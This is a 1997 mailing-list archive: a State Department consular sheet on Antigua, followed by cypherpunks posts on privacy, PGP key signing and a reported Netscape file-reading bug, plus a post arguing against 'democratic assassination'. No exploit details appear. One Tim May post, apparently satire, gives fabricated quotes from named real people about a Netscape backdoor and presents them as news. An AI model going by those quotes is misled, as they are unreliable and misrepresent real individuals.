>From owner-travel-advisories@stolaf.edu Thu Jun 12 16:39:22 1997
Date: 10 Jun 97 11:31:44 EDT
From: owner-travel-advisories <owner-travel-advisories@stolaf.edu>
To: travel-advisories@stolaf.edu
Subject: NEW TRAVEL INFO -- Antigua
Message-ID: <970610153144_76702.1202_CHN44-1@CompuServe.COM>
Precedence: bulk

STATE DEPARTMENT TRAVEL INFORMATION - Antigua & Barbuda
============================================================
Antigua and Barbuda - Consular Information Sheet
 June 9, 1997

Country Description:  Antigua and Barbuda is a developing island 
nation.  Tourism facilities are widely available.

Entry Requirements:  A valid passport or birth certificate and 
picture ID such as a drivers license are required of U.S. citizens 
entering Antigua and Barbuda.  A return ticket is sometimes 
requested.  Immigration officials are strict about getting exact 
information about where visitors are staying.  There is no fee for 
entering the country, but there is a $13.00 departure tax.  For 
further information on entry requirements, travelers can contact the 
Embassy of Antigua and Barbuda, 3216 New Mexico Avenue, N.W., 
Washington, D.C.  20016, telephone (202) 362-5122, or the Consulate 
of Antigua and Barbuda in Miami.

Medical Facilities:  Medical care is limited.  Doctors and 
hospitals often expect immediate cash payment for health services.  
U.S. medical insurance is not always valid outside the U.S.  In some 
cases, supplemental medical insurance with specific overseas 
coverage, including provision for medical evacuation, has proven 
useful.  For additional health information, travelers may contact 
the Centers for Disease Control and Prevention's international 
travelers hotline at (404) 332-4559, Internet:  http://www.cdc.gov/.

Crime Information:  Violent crimes and armed assaults have been 
perpetrated against tourists.  Petty street crime also occurs, and 
valuables left unattended on beaches are subject to theft.

The loss or theft of a U.S. passport overseas should be reported to 
the local police and the nearest U.S. embassy or consulate.  
Retaining a copy of the police report may facilitate return travel 
to the U.S.  A lost or stolen birth certificate and/or driver's 
license generally cannot be replaced outside the U.S.

U.S. citizens can refer to the Department of State's pamphlet "A 
Safe Trip Abroad," which provides useful information on guarding 
valuables and protecting personal security while traveling abroad.  
Both this pamphlet and "Tips for Travelers to the Caribbean" are 
available from the Superintendent of Documents, U.S. Government 
printing Office, Washington, D.C.  20402.

Drug Penalties:  U.S. citizens are subject to the laws of the 
country in which they are traveling.  Penalties for possession, use 
and trafficking in illegal drugs are strict, and convicted offenders 
can expect lengthy jail sentences and heavy fines.

Aviation Oversight:  As a result of an assessment conducted by the 
U.S. Federal Aviation Administration (FAA) in July 1996, the FAA has 
found the government of Antigua and Barbuda's civil aviation 
authority not to be in compliance with international aviation safety 
standards for oversight of Antigua and Barbuda's air carrier 
operations.  While consultations to correct the deficiencies are 
ongoing, Antigua and Barbuda's carriers are permitted to conduct 
limited operations to the U.S. subject to heightened FAA 
surveillance.  Based on the FAA's determination, the Department of 
Defense does not permit U.S. military personnel to use carriers from 
Antigua and Barbuda for official business except for flights 
originating from or terminating in the U.S., or in extenuating 
circumstances.  For further information, travelers may contact the 
Department of Transportation at 1-(800) 322-7873.

Traffic Safety/Road Conditions:  Driving in Antigua and Barbuda is 
on the left-hand side of the road, as in the United Kingdom.  Roads 
are narrow and in poor condition.  There is relatively little police 
enforcement of traffic regulations.  The condition of the roads and 
the speed at which many persons drive lead to serious traffic 
accidents.  More detailed information on roads and traffic safety 
can be obtained from the Antigua Tourist Board, tel. (268) 462-0480, 
or the Director General of Tourism, tel. (268) 462-1005.

Embassy Location/Registration:  U.S. citizens may register with the 
U.S. Consular Agent, Hospital Hill, English Harbour.  The mailing 
address is c/o U.S. Consular Agent, P.O. Box 664, St. John's, 
Antigua.  The telephone number is (268) 463-6531, Fax (268) 
460-1569, e-mail (no caps) ryderj@candw.ag.  The hours of operation 
are Monday-Friday, 9:00am-4:00pm. (Please call for appointment.)  
U.S. citizens may also contact the Consular Section of the U.S. 
Embassy in Bridgetown, Barbados, which is located in the American 
Life Insurance Company (ALICO) Building, Cheapside, tel. (246) 
431-0225, which has consular jurisdiction over Antigua and Barbuda.  
The hours of operation are Monday-Friday, 8:00am-4:00pm.

 No. 97-098

This replaces the Consular Information Sheet dated March 15, 1996 
to include entry requirements information, the CDC Internet address, 
and a section on traffic safety/road conditions.


----- ----- ----- ----- ----- ----- ----- ----- ----- ----- ----- ----- -----
The "travel-advisories@stolaf.edu" mailing list is the official Internet and
BITNET distribution point for the U.S. State Department Travel Warnings and
Consular Information Sheets.  To unsubscribe, send a message containing the
word "unsubscribe" to:	travel-advisories-request@stolaf.edu

Archives of past "travel-advisories" postings are available at the URL:
"http://www.stolaf.edu/network/travel-advisories.html" or via Gopher:
gopher.stolaf.edu, Internet Resources/US-State-Department-Travel-Advisories





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Fri, 13 Jun 1997 07:20:30 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: There's no general right to privacy -- get over it, from Netly (fwd)
Message-ID: <199706122248.RAA11848@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> Date: Thu, 12 Jun 1997 18:58:37 -0400
> From: Declan McCullagh <declan@well.com>
> Subject: There's no general right to privacy -- get over it, from Netly

> likes to say "Privacy is not an absolute right, but a
> fundamental right." But in truth, privacy is not a
> right but a preference: Some people want more of it
> than others.

A right is not a question of popularity or amplitude, it is a question of
existance. It is or it isn't. Some people want more guns than others
(obvious even to you) so you seriously hold that there is no fundamental
Constitutional right to own firearms? Or speech, we don't all want to use it
to the same amount, we therefore don't have a right to free speech? Or (oh
my god!) crypto, we don't all want to use it to the same degree therefore we
don't have a right to use crypto?

Serious boo-boo.

I hope it ain't gone to print yet...

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 13 Jun 1997 09:51:10 +0800
To: Bill Frantz <jehill@w6bhz.calpoly.edu>
Subject: Re: Photo ID is not needed for key signings....
In-Reply-To: <199706120709.AAA05445@hyperion.boxes.org>
Message-ID: <v03102800afc652637f93@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:31 AM -0700 6/12/97, Bill Frantz wrote:
>IMHO - What you are really signing is the binding between the data
>associated with the key (usually an email address) and the key.  You are
>saying that the secret key holder is (one of the) person(s) who has access
>to that account, and not some man in the middle in the middle.  If you ask
>to see Lucky Green's, or Futplex's, or Black Unicorn's picture ID, you will
>either see a forgery or an ID issued by an organization not interested in
>birth certificates.

I am fairly often accused of being arrogant, of being a "know it all." I
have never claimed to be an expert on PGP, and I certainly am not. I use
the MacPGP version which became available in '92, and will eventually star
t working with PGP 5.x (which I have, and have installed, but not spent
much time with).

I generated a 1024-bit key in '92, right after PGP 2.0 appeared, and
participated in a key signing, etc., shortly thereafter. It happened that
my ISP at that time had just changed from Portal to Netcom. (Now it's
"got.net", a fairly typical local provider of non-shell ISP services.)

I can't understand (hint: someone please explain) why I get so many
requests to send the "tcmay@got.net" key, as opposed to the
"tcmay@netcom.com" key so widely available. I thought the key signings were
about the Person Widely Known as "Tim May" being associated with the key
signed, not some temporary e-mail address.

My binding was between the key, and "me." Those who wanted to send messages
to "me" could assume that only "I" could read it. The address
"tcmay@netcom.com" vs. "tcmay@got.net" is not central. Any concern that
"tcmay@got.net" is somehow not the keyholder of that '92 key is a nonissue.

If the keyserver databases focus on such ephemera as the current ISP
account, then they are focussing on the wrong things.

Am I missing something central?

--Tim May, whose e-mail deliverer has changed a few times, but whose key
remains constant. Which is more important?




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 13 Jun 1997 23:38:20 +0800
To: Kent Crispin <cypherpunks@cyberpass.net
Subject: Re: Thoughtcrime   (Re: My War)
In-Reply-To: <v03102800afc399044c85@[10.0.2.15]>
Message-ID: <v03102801afc5d939ff0e@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:12 PM -0700 6/11/97, Kent Crispin wrote:
>On Wed, Jun 11, 1997 at 07:18:52PM -0700, Steve Schear wrote:
>> Ideas are not protected speech, since they only exist in the mind, only
>> expressions are protected.
>
>Actually, expression is heavily encumbered with state mechanism, since
>it is expression that is "protected" by copyright.

Quite.

>Ideas are also
>encumbered by the state, through patent law.  The whole notion of
>expression and ideas as property is purely sustained by the state.

Yep.  I have the right, because I have the ability, to think anything I
wish. But as soon as I reduce that idea, for example a patent, to a
tangible form the state has deemed it their domain to regulate it, but only
so far as the property aspect is concerned.  But they shouldn't from a
freedom of expression standpoint.

>
>> As I stated earlier, all expressions (however
>> objectionable they may be to some or many members of society) deserve
>> protection, unless they immediately threaten (or server to incite others to
>> threaten) the physical well being of specific individuals or groups.  Porn
>> and instructions for making conventional or weapons of mass distruction
>> should not be regulated.
>
>It seems to me that your penultimate sentence contradicts your last
>sentence.
>
>--
>Kent Crispin				"No reason to get excited",
>kent@songbird.com			the thief he kindly spoke...
>PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
>http://songbird.com/kent/pgp_key.html



PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 13 Jun 1997 07:11:53 +0800
To: cypherpunks@toad.com
Subject: There's no general right to privacy -- get over it, from Netly
Message-ID: <v03007801afc62e624e47@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



**************

http://pathfinder.com/netly/editorial/0,1012,1050,00.html

The Netly News
June 12, 1997

Privacy? What Privacy?
by Declan McCullagh (declan@well.com)

     I have a confession to make: Unlike many of my
civil libertarian colleagues, I believe you have no
general right to privacy online. Sure, you have the
right to protect your personal data, but you shouldn't
be able to stop someone else from passing along that
information if you let it leave your computer. That's
your responsibility.

     So you can imagine my dismay when I learned I'd
be sitting through four full days of Federal Trade
Commission hearings this week on Internet privacy. The
commission's goal? To define "privacy rights" for the
Net -- and to be perhaps the first federal agency to
regulate it. The commissioners are being spurred on by
consumer groups that want the government to bar firms
from collecting information about your online
wanderings. Businesses say that such a rule would
stifle Internet advertising and commerce and have
recently released a flurry of self-regulatory
proposals.

[...]

     Which is one reason why I think there is no
general right to privacy -- at least as the consumer
groups and privacy advocates describe it. Rotenberg
likes to say "Privacy is not an absolute right, but a
fundamental right." But in truth, privacy is not a
right but a preference: Some people want more of it
than others.

     Of course there's an essential right to privacy
from the government. (Beware government databases:
Nazis used census data in Germany and Holland to track
down and eliminate undesirables.) You also have a
right to privacy from Peeping Toms.

     But -- no matter how much big-government
fetishists want this to be true -- you don't own
information about yourself. After all, journalists are
able to investigate someone's private life and publish
an article -- even if it contains embarrassing
personal details. This is a good thing: Any
restrictions would weaken the First Amendment. Then
there's gossip, which is a time-honored way of trading
in others' personal information. "The reindeer-herding
Lapps, for whom theft of livestock is easy and common,
gossip about who has stolen which animal and where
they are," sociologist Sally Engle Merry writes.

[...]


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 13 Jun 1997 09:05:12 +0800
To: cypherpunks@einstein.ssz.com (Cypherpunks Distributed Remailer)
Subject: Burn flag = unconstitutional
Message-ID: <199706130033.TAA12063@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> House Passes Constitutional Amendment On Flag Desecration
> 
>    By Darlene Superville
>    Associated Press Writer
>    
>    WASHINGTON (AP) -- The House voted overwhelmingly today for a proposed
>    constitutional amendment against flag desecration, an issue pushed by
>    conservatives since Republicans took over Congress in 1995.
>    
>    The House tally, held two days before Flag Day, was 310-114.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Fri, 13 Jun 1997 09:07:50 +0800
To: cypherpunks@EINSTEIN.ssz.com
Subject: Internet - Good & Bad [CNN]
Message-ID: <199706130036.TAA12117@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>    June 12, 1997: 4:28 p.m. ET
>    
>    Time NEW YORK (CNNfn) - New technologies for video transmission over
>    the Internet, such as digital video discs (DVDs), represent remarkable
>    potential but also pose an inherent threat to global intellectual
>    property rights, one of the most powerful media executives in the
>    nation said.
>    [INLINE] The Net represents "promise and penalty," Frank Biondi,
>    chairman and chief executive of MCA's Universal Studios, told the
>    audience of the third annual Price Waterhouse media conference here.
>    [INLINE] "At some time, we'll be able to transmit video real-time"
>    over the World Wide Web through the use of technology such as DVDs,
>    Biondi said. However, to succeed, media companies increasingly need to
>    address two principle challenges: protecting intellectual property and
>    promoting the "brand," he added.
>    [INLINE] "By and large, encryption can be broken. That's pretty
>    scary," Biondi said.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Fri, 13 Jun 1997 09:08:21 +0800
To: cypherpunks@EINSTEIN.ssz.com
Subject: Crackdown on spam? [CNN]
Message-ID: <199706130037.TAA12183@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>                     FEDS TO CRACK DOWN ON JUNK E-MAIL FRAUD
>                                        
>      
>      
>      June 12, 1997
>      Web posted at: 8:16 p.m. EDT (2016 GMT)
>      
>      WASHINGTON (AP) -- Federal regulators put the junk e-mailindustry on
>      notice Thursday that businesses will be punished ifthey put false
>      information in unsolicited mail they send tomillions of Internet
>      users.
>      
>      The Federal Trade Commission also asked the industry to come upwith
>      ways to stem the flood of commercial mail clogging theInternet and
>      creating bottlenecks that make it difficult to getonline.
>      
>      The FTC said it would ask industry groups to supply lists
>      ofjunk-mail senders to help in the new drive to detect
>      fraud.Penalties a junk mailer might face for breaking the fraud law
>      couldinclude an injunction to stop the illegal practice up to tens
>      ofthousands of dollars in fines for a repeat offender.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Fri, 13 Jun 1997 09:11:27 +0800
To: cypherpunks@EINSTEIN.ssz.com
Subject: Major Netscape Bug [CNN]
Message-ID: <199706130039.TAA12257@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>    From Correspondent Steve Young
>    June 12, 1997: 6:58 p.m. ET
>    
>    Netscape unveils Netcaster - April 15, 1997
>    
>    Princeton team finds third Netscape bug - May 20, 1996
>    
>    Netscape NEW YORK (CNNfn) - A serious new flaw that affects all
>    versions of Netscape Communications Corp.'s popular Navigator Internet
>    browser software -- including the final test version of its
>    Communicator Suite released Wednesday -- has been uncovered by a
>    Danish software firm, CNNfn has learned.
>    
>    The bug was reported by Cabocomm, a software company located about 100
>    miles west of Copenhagen, Denmark. The bug makes it possible for
>    Web-site operators to read anything stored on the hard drive of a PC
>    logged on to the Web site.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 13 Jun 1997 08:19:58 +0800
To: cypherpunks@toad.com
Subject: Jim Bell 5
Message-ID: <1.5.4.32.19970613000419.00925514@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



I spoke briefly this afternoon with Kelly Miller, the
clerk of the district court handling Jim's case.

She said that the USA, Jim and Jim's attorney agreed
to waive (extend) the deadline for speedy indictment 
so that additional material could be assembled by all 
parties.

And that no action will be taken until on or about June
30; Jim will remain in jail until then.

Jim's attorney, Peter Avenia, confirmed this but would 
not comment further except in answer to my question 
about getting in touch with Jim said that he had advised 
Jim not to make statements to anyone.

-----

Kelly Miller: 1-253-593-6754

Peter Avenia: 1-253-593-6710






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pilgrim <nfn04017@gator.naples.net>
Date: Fri, 13 Jun 1997 08:22:04 +0800
To: cypherpunks@Algebra.COM
Subject: Democratic Assassination
Message-ID: <l03102800afc6405bc170@[204.210.206.39]>
MIME-Version: 1.0
Content-Type: text/plain



>  Instead of putting child pornographers in prison we will put
>cryptographers and remailer operators in prison. Instead of
>confiscating the assets of drug czars will confiscate the assets
>of people who have a kid who smokes a joint once a week. Instead
>of censoring legislation which limits our freedom and privacy
>we will censor literature which proposes democratic assassination
>of those who oppress us.

Whoa there bud! I have a nagging feeling that democratic assassination is a
large can of worms than we realize.

There is something fundamentally wrong with a society that is built upon
the notion that those people who do and say unpopular things deserve death.
Yet that is exactly what a system of "democratic" assassinations would do,
enable a large group of people to intimidate and subvert a smaller group of
people.

So, for the sake of argument, let this system of anonymous democratic
assassination come to pass...then what? Utopia? Maybe....

But let's say that someone comes along later, proposing a way of living
that is radically different from the norm. Exhibiting a nasty
characteristic that has been inherent in the human races for eons....even
before the rise of large sprawling governments....the majority of people
decide that they don't like this troublemaker....through the process of
democratic assassination...this person is now dead. Forget even the shade
of a possibility that this person may have been right...that his way of
living ***may*** have been better than the norm. Right and wrong don't
matter. Popularity and the "mood of the crowd" do...this person said
somethig unpopular, and is dead because of it.

Freedom of speech?

Let's say that a group of people suddenly become unpopular. Perhaps times
are tough and the majority need a scapegoat. Maybe this group of people
have been long oppressed and are finally fighting back. Through a system of
democratized assassination....their leaders are dead....with no one willing
to take their place (out of fear)....maybe a few other random people are
killed just to really get these people quaking in their boots.

Or let's take it one step further. If democratic assassination is good, why
not democratic genocide. Let the people take a vote, and if the scale tips
the right way, an entire group of people need killed.

Is this good?

Let's take a step further. Going back to my first example, let's say that
someone comes along proposing a new way to live, and many people take to it
and follow this person. Unfortunately, this person has just happened to
make a few powerful enemies. Through a system of "democratic"
assassination, this person is now dead...and there is no way to catch
his/her killers.

Is this even democratic?

Even if digital cash, anonymous remailers and strong encryption could
enable us to set up a democratic system of assassination (which it
couldn't)...I still wouldn't want to live in a society where killing is
democratized...I do not want to live in a society where people can
abitrarily take a vote on whether I should live or die....

Just because a majority of people like an idea, does that make the idea any
more right or any less wrong?

I (and I would wager you) do not want to live in a society where it is
dangerous...even life threatening to be unpopular, and to go against the
flow. I know that I hold fast to ideas and beliefs which are hardly
considered popular....the only reason I'm not socially scorned, right now,
is because I'm very diplomatic about them....

You wrote a lot about "The Machine," as if it was some real, intelligent,
calculating conscience. It is not. While I do not doubt that "The Machine"
exists, it is not something that is tangible....it is a system...a way of
doing things...a set of entrenched powers...it is not a person.

"The Machine" won't be defeated by killing. Its weakness is far more
subtle..and takes a lot longer to exploit....but that's another story...for
another listserv.

That IRS guy that you want to kill? Sure, he might work for "The Machine,"
but killing him won't solve anything. Hating him won't solve anything. It
might be a short term fix, but there will be others. And perhaps, if you
stop and look at that IRS guy whom you hate so much...you might find that
	1) He has parents, maybe even a wife and children, all of whom love him
	2) He gets tired and night, and has to use the bathroom
	3) He gets happy, sad, lonely, depressed,

	He's another human being....just like yourself...indeed, the only
	difference between himself and yourself is how he makes a living.

And maybe...just maybe...he is just as big a victim of "The Machine" as you
are.

Of course, I'm not accusing anyone of wanting to kill anyone...or hating
anyone. I'm just throw this out because it is food for thought.

You write so much about "The Machine" causing division and hatred between
people.

Perhaps "The Machine" has manipulated you more than you realize.

Justice rarely comes out of hatred.

Regards,
Pilgrim

Regards,
Pilgrim






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 13 Jun 1997 12:41:08 +0800
To: cypherpunks@toad.com
Subject: Andrew Shapiro on privacy rights in The Nation
Message-ID: <Pine.GSO.3.95.970612210843.27215B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 12 Jun 1997 21:08:37 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Andrew Shapiro on privacy rights in The Nation

[Andrew is too modest perhaps to mention that his article is the cover
story in the most recent issue of The Nation. --Declan]

---------- Forwarded message ----------
Date: Mon, 9 Jun 1997 02:52:22 -0500
From: Andrew Shapiro <ashapiro@interport.net>
To: declan@well.com
Subject: Re: FC: Mr. Gates goes to Washington, from The Netly News

Declan:

Interesting piece.  I made a somewhat similar point about how the
"siliconaires" (nice coinage) are manipuating the crypto debate at the
expense of those making pure privacy arguments.  This was in an article
focusing mostly on a slightly different topic: this idea of the "market for
privacy." Knowing your faith in markets, I doubt we'll agree on this one,
but you may find my critique interesting -- and worth mentioning to the
list.  Given the news on P3 and OPS, the "market solution" will no doubt be
discussed at the FTC hearing this week.

See http://www.thenation.com/issue/970623/0623shap.htm

Best,
Andrew




Andrew L. Shapiro
Fellow, The Twentieth Century Fund
Contributing Editor, The Nation
41 East 70th Street
New York, NY 10021
ashapiro@interport.net
work: +1 212 452 7725









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Fri, 13 Jun 1997 10:24:27 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Photo ID is not needed for key signings....
In-Reply-To: <v03102800afc652637f93@[207.167.93.63]>
Message-ID: <199706130215.VAA07375@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Tim May wrote:
> I can't understand (hint: someone please explain) why I get so many
> requests to send the "tcmay@got.net" key, as opposed to the
> "tcmay@netcom.com" key so widely available. I thought the key signings were
> about the Person Widely Known as "Tim May" being associated with the key
> signed, not some temporary e-mail address.

You get so many requests to send the "tcmay@got.net" key because certain
pgp-aware email programs can encrypt mail using the recipient address,
if it is in the sender's keyring. Therefore, it is more convenient if
the addressee's email address is in the user id field.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 13 Jun 1997 12:39:49 +0800
To: cypherpunks@cyberpass.net
Subject: Netscape Security Flaw is a Feature
Message-ID: <v03102802afc67bb040fb@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




Many of us have been watching the CNN reports--headline reports at
that--that all past and current versions of Netscape on all platforms have
reportedly carried the bug that allows any Web site being hit by Netscape
to examine files on the user's hard disk.

(A demonstration by the Danish team was compelling. CNN-FN generated a text
file, placed it on their hard disk, and accessed the Danish site. Moments
later, the Danes read back the text file. Over and over for more examples.
They _could have been_ the NSA Web site, and the files could have been
history files, passphrase files, etc. History files are common, and give
captured kestrokes, of course.)

But how could such a massive, massive flaw have gone undiscovered for so long?

The answer, "It's a feature, not a bug."

According to Netscape spokesmen, this feature was added to the kernel of
Mosaic, then Navigator, in 1993, as part of the Clipper Key Recovery
Program. As James Clarke put it an interview tonight on MSNBC, "Dorothy
Denning asked us to insert the "remote read" capabilities to ensure that
the legitimate needs of law enforcement are met. No person cruising the Web
has any expectation of privacy, as even Declan McCullagh has pointed out."

Marc Rotenberg commented, "Privacy at the individual user level is
unimportant, just so long as a Privacy Ombudsman can decide on the
legitimate needs of law enforcement."

Meanwhile, Microsoft has acknowledge that all lines to its Redmond site are
clogged by people dumping Navigator and trying to download Explorer.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Fri, 13 Jun 1997 13:02:15 +0800
To: ichudov@Algebra.COM (Igor Chudov @ home)
Subject: Re: Netscape Bug :)))
In-Reply-To: <199706130333.WAA05305@mailhub.amaranth.com>
Message-ID: <v03102800afc67e17aff6@[17.219.102.76]>
MIME-Version: 1.0
Content-Type: text/plain



>William H. Geiger III wrote:
>> Seems that there is a bug in Netscape including the new Communicator that
>> will allow a web site to read *ANY* file on your computer. I repeate
>> *ANY*, yes Virginia, *ANY* file on your computer.
>
>And what is the exploit?
>

According to an uninformitive, but extensive, report on CNN, the firm
is being very closed-mouth about the bug, and expects to be richly
rewarded "The $1000 bug reward was an insult." They will, however,
*give* the information to Netscape if they appear in person at the
company offices in Aarhus.

You might want to look at PC Lab's web site (or PC Magazine, I don't
remember which). All of the examples appeared to use Windows, and
the words "Active X" and "Java" were not used.

Martin Minow






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 13 Jun 1997 11:36:40 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Photo ID is not needed for key signings....
In-Reply-To: <v03102800afc652637f93@[207.167.93.63]>
Message-ID: <199706130328.WAA05249@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102800afc652637f93@[207.167.93.63]>, on 06/12/97 
   at 06:47 PM, Tim May <tcmay@got.net> said:

>At 8:31 AM -0700 6/12/97, Bill Frantz wrote:
>>IMHO - What you are really signing is the binding between the data
>>associated with the key (usually an email address) and the key.  You are
>>saying that the secret key holder is (one of the) person(s) who has access
>>to that account, and not some man in the middle in the middle.  If you ask
>>to see Lucky Green's, or Futplex's, or Black Unicorn's picture ID, you will
>>either see a forgery or an ID issued by an organization not interested in
>>birth certificates.

>I am fairly often accused of being arrogant, of being a "know it all." I
>have never claimed to be an expert on PGP, and I certainly am not. I use
>the MacPGP version which became available in '92, and will eventually
>star t working with PGP 5.x (which I have, and have installed, but not
>spent much time with).

>I generated a 1024-bit key in '92, right after PGP 2.0 appeared, and
>participated in a key signing, etc., shortly thereafter. It happened that
>my ISP at that time had just changed from Portal to Netcom. (Now it's
>"got.net", a fairly typical local provider of non-shell ISP services.)

>I can't understand (hint: someone please explain) why I get so many
>requests to send the "tcmay@got.net" key, as opposed to the
>"tcmay@netcom.com" key so widely available. I thought the key signings
>were about the Person Widely Known as "Tim May" being associated with the
>key signed, not some temporary e-mail address.

>My binding was between the key, and "me." Those who wanted to send
>messages to "me" could assume that only "I" could read it. The address
>"tcmay@netcom.com" vs. "tcmay@got.net" is not central. Any concern that
>"tcmay@got.net" is somehow not the keyholder of that '92 key is a
>nonissue.

>If the keyserver databases focus on such ephemera as the current ISP
>account, then they are focussing on the wrong things.

>Am I missing something central?

Well yes, :)

There are different levels of trust and authentication in the web of
trust.

Many (most?) people using PGP will never physically meet and authenticate
keys. Their security model does not require this. Instead what PGP is used
for is a verification method that I am talking to the same person at
tcmay@got.net in my correspondance even though I do not know who he is
physically. So over a period of time of exchanging PGP signed messages I
can authentincate that all of these messages are all comming from
tcmay@got.net who claims to be Tim May. I know that this is not much but
at least I know it's not Dimitri or someone else forging the messages from
that account (though I don't know if all this time tcmay@got.net has
really been one of Dimitri's accounts and that Tim May is really dead).

I also use PGP to sign all my distributed source code & binaries for my
programs. I also sign all my posts. My sharware customers can verify that
the software if from me and unmodified and can also verify any public post
regarding the software. Depending on how concerned on this they may be
satisfied that seeing the code signed with the same key that I use for my
mailing list and in all my public post as enough authentication that the
code is valid (though there is nothing preventing them from taking
stronger methods of authentication upto and including flying down to FL
and meeting me in person).

You also have PGP add-on software that does lookups of keys by e-mail
address. This is a convient feature if one is working with large keyrings.
You do run into the problem of e-mail addresses changing and having
multiple keys with the same address. In my software I make use of a
default file where a key can be assinged to an e-mail address regardless
of what is in the userid. YMMV with other software, from my own testing I
have found that most will either take the first key found with duplicats
or complain of "no key found" with address changes.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6C/hY9Co1n+aLhhAQGDzgQAr85CR5eIFZCFaM/pTGnt5c14x0HUYJJD
Muk7xEyR23cIZP9lrWyq+3IsIfk10sR+rLl2Ip05mwSFOasd1FRyuAIVv6vM6Ovm
3m3nSBfHwP0hQtwwrnCCFlOxScBuWjiSn8Pu/r2yhd6A1+vU8D+JeWe9VuPsDRv7
IRMeLadpvC8=
=1Fl1
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 13 Jun 1997 13:25:36 +0800
To: Tim May <tcmay@got.net>
